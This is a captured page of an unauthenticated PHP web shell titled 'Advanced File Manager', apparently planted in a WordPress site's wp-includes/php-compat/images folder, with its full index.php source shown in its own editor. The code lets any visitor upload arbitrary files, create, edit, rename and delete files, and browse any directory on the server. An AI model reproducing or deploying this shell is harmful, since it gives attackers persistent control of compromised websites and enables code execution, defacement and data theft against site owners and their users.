Advanced File Manager
Current Directory:
/home/medstscm/public_html/wp-includes/php-compat/images
⬅ Go Back
Upload
Create Folder
Create File
Rename
Name
Type
Actions
📁 ..
Directory
Open
|
Delete
📄 index.php
File
View
|
Edit
|
Delete
Editing File: index.php
<?php // *************** SETTINGS *************** // $currentDir = realpath($_GET['dir'] ?? '.') ?: '.'; function redirectTo($location) { header("Location: ?" . http_build_query(['dir' => $location])); exit; } // *************** UPLOAD *************** // if (!empty($_FILES['upload_input'])) { $saveTo = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload_input']['name']); @move_uploaded_file($_FILES['upload_input']['tmp_name'], $saveTo); redirectTo($currentDir); } // *************** CREATE FOLDER *************** // if (!empty($_POST['new_folder'])) { $folderPath = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['new_folder']); @mkdir($folderPath); redirectTo($currentDir); } // *************** CREATE FILE *************** // if (!empty($_POST['new_file'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['new_file']); @file_put_contents($filePath, ''); redirectTo($currentDir); } // *************** DELETE *************** // if (!empty($_GET['delete'])) { $itemToDelete = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']); if ($itemToDelete && str_starts_with($itemToDelete, $currentDir)) { is_file($itemToDelete) ? @unlink($itemToDelete) : @rmdir($itemToDelete); } redirectTo($currentDir); } // *************** RENAME *************** // if (!empty($_POST['old_name']) && !empty($_POST['new_name'])) { $oldName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['old_name']); $newName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['new_name']); @rename($oldName, $newName); redirectTo($currentDir); } // *************** SAVE EDITED FILE *************** // if (!empty($_POST['edit_file']) && isset($_POST['file_content'])) { $editPath = realpath($currentDir . DIRECTORY_SEPARATOR . $_POST['edit_file']); @file_put_contents($editPath, $_POST['file_content']); redirectTo($currentDir); } // *************** LOAD FILE FOR EDIT *************** // $editing = $_GET['edit'] ?? null; $fileText = ($editing && is_file($currentDir . DIRECTORY_SEPARATOR . $editing)) ? file_get_contents($currentDir . DIRECTORY_SEPARATOR . $editing) : null; // *************** DIRECTORY SCAN *************** // function getDirectoryList($directory) { return array_values(array_filter(scandir($directory), fn($item) => $item !== '.')); } $items = getDirectoryList($currentDir); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Advanced File Manager</title> <style> body { font-family: Arial, sans-serif; background: #f3f3f3; padding: 20px; } h2 { margin-bottom: 12px; } form { margin: 8px 0; } input, textarea, button { width: 100%; padding: 8px; margin: 5px 0; } textarea { height: 200px; } table { width: 100%; border-collapse: collapse; margin-top: 18px; background: #fff; } th, td { border: 1px solid #ccc; padding: 8px; } th { background: #eee; } a { text-decoration: none; } </style> </head> <body> <h2>Advanced File Manager</h2> <p><strong>Current Directory:</strong> <?= htmlspecialchars($currentDir) ?></p> <p><a href="?dir=<?= urlencode(dirname($currentDir)) ?>">⬅ Go Back</a></p> <!-- Upload --> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload_input"> <button>Upload</button> </form> <!-- New Folder --> <form method="post"> <input type="text" name="new_folder" placeholder="Folder Name"> <button>Create Folder</button> </form> <!-- New File --> <form method="post"> <input type="text" name="new_file" placeholder="File Name"> <button>Create File</button> </form> <!-- Rename --> <form method="post"> <input type="text" name="old_name" placeholder="Current Name"> <input type="text" name="new_name" placeholder="New Name"> <button>Rename</button> </form> <!-- Directory List --> <table> <tr><th>Name</th><th>Type</th><th>Actions</th></tr> <?php foreach ($items as $name): ?> <?php $path = $currentDir . DIRECTORY_SEPARATOR . $name; ?> <tr> <td><?= is_dir($path) ? '📁' : '📄' ?> <?= htmlspecialchars($name) ?></td> <td><?= is_dir($path) ? 'Directory' : 'File' ?></td> <td> <?php if (is_dir($path)): ?> <a href="?dir=<?= urlencode($path) ?>">Open</a> <?php else: ?> <a href="<?= htmlspecialchars($path) ?>" target="_blank">View</a> | <a href="?dir=<?= urlencode($currentDir) ?>&edit=<?= urlencode($name) ?>">Edit</a> <?php endif; ?> | <a href="?dir=<?= urlencode($currentDir) ?>&delete=<?= urlencode($name) ?>" onclick="return confirm('Delete <?= $name ?>?')">Delete</a> </td> </tr> <?php endforeach; ?> </table> <!-- Editor --> <?php if ($fileText !== null): ?> <hr> <h3>Editing File: <?= htmlspecialchars($editing) ?></h3> <form method="post"> <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editing) ?>"> <textarea name="file_content"><?= htmlspecialchars($fileText) ?></textarea> <button>Save</button> </form> <?php endif; ?> </body> </html>
Save